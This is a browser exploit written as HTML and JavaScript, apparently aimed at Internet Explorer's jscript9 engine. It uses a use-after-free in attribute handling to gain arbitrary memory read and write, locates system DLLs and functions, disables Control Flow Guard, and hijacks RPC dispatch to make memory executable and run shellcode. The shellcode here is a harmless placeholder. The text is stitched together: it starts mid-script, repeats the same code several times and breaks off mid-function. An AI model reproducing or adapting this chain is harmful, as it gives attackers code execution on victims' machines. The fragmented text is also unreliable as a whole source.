        hd1.nodeValue = (new alloc1()).nodeValue
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)
var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()
killCfg(rpcrt4)
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
alert(result.toString(16))
</script>
</body>
</html>
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }

function pad0(str) {
    return ('0000' + str).slice(-4)
}
function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}
function alloc2() {
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, arr)
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}
function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}
function Data(type, value) {
    this.type = type
    this.value = value
}
function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}
function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}
function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}
function writeData(addr, data) {
    for (var i = 0; i < data.length; ++i)
        write(addr + i, data[i], 8)
}
function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}
function strcmp(str1, str2) {
    str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
    str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
    return str1.toLowerCase() == str2.toLowerCase()
}
function memcpy(dst, src, size) {
    for (var i = 0; i < size; ++i)
        write(dst + i, read(src + i, 8), 8)
}
function toStr(addr) {
    var str = ''
    while (true) {
        var c = read(addr, 8)
        if (c == 0) break
        str += String.fromCharCode(c)
        addr++
    }
    return str
}
function newStr(str) {
    var buffer = createArrayBuffer(str.length + 1)
    for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
    write(buffer + i, 0, 8)
    return buffer
}
function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}
function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}
function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}
function isPE(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}
function winVer() {
    var appVersion = window.navigator.appVersion
    var ver = 0
    if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
        ver = 100
    } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
        ver = 81
    } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
        ver = 80
    } else {
        ver = 70
    }
    return ver
}
function createArrayBuffer(size) {
    var ab = new ArrayBuffer(size)
    var bs = read(addrOf(ab) + 0x1c, 32)
    map.set(bs, ab)
    return bs
}
function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}
function readyRpcCall(func) {
    var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
    var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
    var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
    write(RPC_DISPATCH_TABLE_Buffer, func, 32)
}
function setArgs(args) {
    var buffer = createArrayBuffer(48)
    for (var i = 0; i < args.length; ++i) {
        write(buffer + i * 4, args[i], 32)
    }
    _RPC_MESSAGE.set(msg, 'Buffer', buffer)
    _RPC_MESSAGE.set(msg, 'BufferLength', 48)
    _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
    return buffer
}
function callRpcFreeBufferImpl() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
    return call(rpcFree)
}
function callRpcFreeBuffer() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    var result = read(buffer, 32)
    callRpcFreeBufferImpl()
    return result
}
function call2(func, args) {
    readyRpcCall(func)
    var buffer = setArgs(args)
    call(msg)
    map.delete(buffer)
    return callRpcFreeBuffer()
}
function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    try {
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}
function prepareCall(addr, func) {
    var buf = createArrayBuffer(cattr.size())
    var vft = read(patt, 32)
    memcpy(addr, patt, cbase.size())
    memcpy(buf, vft, cattr.size())
    cbase.set(addr, 'pvftable', buf)
    cattr.set(buf, 'normalize', func)
}
function createBase() {
    var isWin7 = winVer() == 70
    var size = isWin7 ? 560 : 572
    var offset = isWin7 ? 540 : 548
    var addr1 = createArrayBuffer(size + cbase.size())
    var addr2 = createArrayBuffer(48)
    write(addr1 + offset, addr2, 32)
    write(addr2 + 40, 8, 32)
    write(addr2 + 36, 8, 32)
    return {
        size: size,
        addr: addr1
    }
}
function aos() {
    var baseObj = createBase()
    var addr = baseObj.addr + baseObj.size
    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
    prepareCall(addr, I_RpcTransServerNewConnection)
    return read(read(call(addr)-0xf8, 32), 32)
}
function SymTab(size, sym) {
    this.size = function() {
        return size
    }
    this.set = function(addr, name, value) {
        var o = sym[name]
        write(addr + o.offset, value, o.size)
    }
    this.get = function(addr, name) {
        var o = sym[name]
        return read(addr + o.offset, o.size)
    }
}
function initRpc() {
    var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
    var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
    var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
    var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
    var RPCMessageObject = createArrayBuffer(cbase.size())
    var buffer = createArrayBuffer(0x100)
    var buffer2 = createArrayBuffer(0x200)
    var AttributeVtable = read(patt, 32)
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
    var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
    var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
    var rpcProcStringBuffer = createArrayBuffer(data.length)
    writeData(rpcProcStringBuffer, data)
    var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
    var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
    var NdrServerCall2Buffer = createArrayBuffer(4)
    write(NdrServerCall2Buffer, NdrServerCall2, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 0x40, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
    cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
    write(RPCMessageObject + 76, 1, 32)
    syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
    _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
    return RPCMessageObject
}
function rpcFree() {
    var Cbase = createArrayBuffer(cbase.size())
    var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var AttributeVtable = read(patt, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 64, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
    cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
    cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
    write(Cbase + 76, 1, 32)
    return Cbase
}
function CFGObject(baseAddress) {
    var PEAddr = isPE(baseAddress)
    var eat = PEAddr + 120
    var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
    var size = read(LOAD_CONFIG_DIRECTORY, 32)
    var sizeOfImage = read(PEAddr + 0x50, 32)
    var CFGSymbolTable = new SymTab(0x5c, {
        '___guard_check_icall_fptr': {
            offset: 72,
            size: 32
        }
    })
    
    var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
    this.getCFGAddress = function() {
        return guard_check_icall_fptr_address
    }
    this.getCFGValue = function() {
        if (size < CFGSymbolTable.size()) return false
        var currentCFGValue = read(guard_check_icall_fptr_address, 32)
        var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
        return !isValidAddress;
    }
}
function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}
var cbase = new SymTab(0x60, {
    'pvftable': {
        offset: 0x0,
        size: 32
    },
    'pSecurityContext': {
        offset: 0x44,
        size: 32
    }
})
var cattr = new SymTab(0x32c, {
    '__vtguard': {
        offset: 0x48,
        size: 32
    },
    'SecurityContext': {
        offset: 0xc8,
        size: 32
    },
    'JSBind_TypeId': {
        offset: 0x160,
        size: 32
    },
    'JSBind_InstanceOf': {
        offset: 0x164,
        size: 32
    },
    'normalize': {
        offset: 0x28c,
        size: 32
    }
})
var syntaxObject = new SymTab(0x14, {
    'SyntaxVersion.MajorVersion': {
        offset: 0x10,
        size: 16
    }
})
var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
    'Length': {
        offset: 0,
        size: 32
    },
    'InterfaceId.SyntaxVersion.MajorVersion': {
        offset: 20,
        size: 16
    },
    'TransferSyntax.SyntaxVersion.MajorVersion': {
        offset: 40,
        size: 16
    },
    'DispatchTable': {
        offset: 44,
        size: 32
    },
    'InterpreterInfo': {
        offset: 60,
        size: 32
    },
    'Flags': {
        offset: 64,
        size: 32
    }
})
var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
    'pStubDesc': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
    'ProcString': {
        offset: 8,
        size: 32
    },
    'FmtStringOffset': {
        offset: 12,
        size: 32
    }
})
var _MIDL_STUB_DESC = new SymTab(0x50, {
    'RpcInterfaceInformation': {
        offset: 0,
        size: 32
    },
    'pfnAllocate': {
        offset: 4,
        size: 32
    },
    'pfnFree': {
        offset: 8,
        size: 32
    },
    'pFormatTypes': {
        offset: 32,
        size: 32
    },
    'fCheckBounds': {
        offset: 36,
        size: 32
    },
    'Version': {
        offset: 40,
        size: 32
    },
    'MIDLVersion': {
        offset: 48,
        size: 32
    },
    'mFlags': {
        offset: 64,
        size: 32
    }
})
var RPC_DISPATCH_TABLE = new SymTab(12, {
    'DispatchTableCount': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
})
var _RPC_MESSAGE = new SymTab(0x2c, {
    'Handle': {
        offset: 0,
        size: 32
    },
    'DataRepresentation': {
        offset: 4,
        size: 32
    },
    'Buffer': {
        offset: 8,
        size: 32
    },
    'BufferLength': {
        offset: 12,
        size: 32
    },
    'TransferSyntax': {
        offset: 20,
        size: 32
    },
    'RpcInterfaceInformation': {
        offset: 24,
        size: 32
    },
    'RpcFlags': {
        offset: 40,
        size: 32
    }
})
var god
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)
var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()
killCfg(rpcrt4)
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
alert(result.toString(16))
</script>
</body>
</html>
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }

function pad0(str) {
    return ('0000' + str).slice(-4)
}
function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}
function alloc2() {
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, arr)
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}
function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}
function Data(type, value) {
    this.type = type
    this.value = value
}
function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}
function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}
function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}
function writeData(addr, data) {
    for (var i = 0; i < data.length; ++i)
        write(addr + i, data[i], 8)
}
function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}
function strcmp(str1, str2) {
    str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
    str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
    return str1.toLowerCase() == str2.toLowerCase()
}
function memcpy(dst, src, size) {
    for (var i = 0; i < size; ++i)
        write(dst + i, read(src + i, 8), 8)
}
function toStr(addr) {
    var str = ''
    while (true) {
        var c = read(addr, 8)
        if (c == 0) break
        str += String.fromCharCode(c)
        addr++
    }
    return str
}
function newStr(str) {
    var buffer = createArrayBuffer(str.length + 1)
    for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
    write(buffer + i, 0, 8)
    return buffer
}
function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}
function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}
function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}
function isPE(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}
function winVer() {
    var appVersion = window.navigator.appVersion
    var ver = 0
    if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
        ver = 100
    } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
        ver = 81
    } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
        ver = 80
    } else {
        ver = 70
    }
    return ver
}
function createArrayBuffer(size) {
    var ab = new ArrayBuffer(size)
    var bs = read(addrOf(ab) + 0x1c, 32)
    map.set(bs, ab)
    return bs
}
function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}
function readyRpcCall(func) {
    var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
    var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
    var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
    write(RPC_DISPATCH_TABLE_Buffer, func, 32)
}
function setArgs(args) {
    var buffer = createArrayBuffer(48)
    for (var i = 0; i < args.length; ++i) {
        write(buffer + i * 4, args[i], 32)
    }
    _RPC_MESSAGE.set(msg, 'Buffer', buffer)
    _RPC_MESSAGE.set(msg, 'BufferLength', 48)
    _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
    return buffer
}
function callRpcFreeBufferImpl() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
    return call(rpcFree)
}
function callRpcFreeBuffer() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    var result = read(buffer, 32)
    callRpcFreeBufferImpl()
    return result
}
function call2(func, args) {
    readyRpcCall(func)
    var buffer = setArgs(args)
    call(msg)
    map.delete(buffer)
    return callRpcFreeBuffer()
}
function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    try {
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}
function prepareCall(addr, func) {
    var buf = createArrayBuffer(cattr.size())
    var vft = read(patt, 32)
    memcpy(addr, patt, cbase.size())
    memcpy(buf, vft, cattr.size())
    cbase.set(addr, 'pvftable', buf)
    cattr.set(buf, 'normalize', func)
}
function createBase() {
    var isWin7 = winVer() == 70
    var size = isWin7 ? 560 : 572
    var offset = isWin7 ? 540 : 548
    var addr1 = createArrayBuffer(size + cbase.size())
    var addr2 = createArrayBuffer(48)
    write(addr1 + offset, addr2, 32)
    write(addr2 + 40, 8, 32)
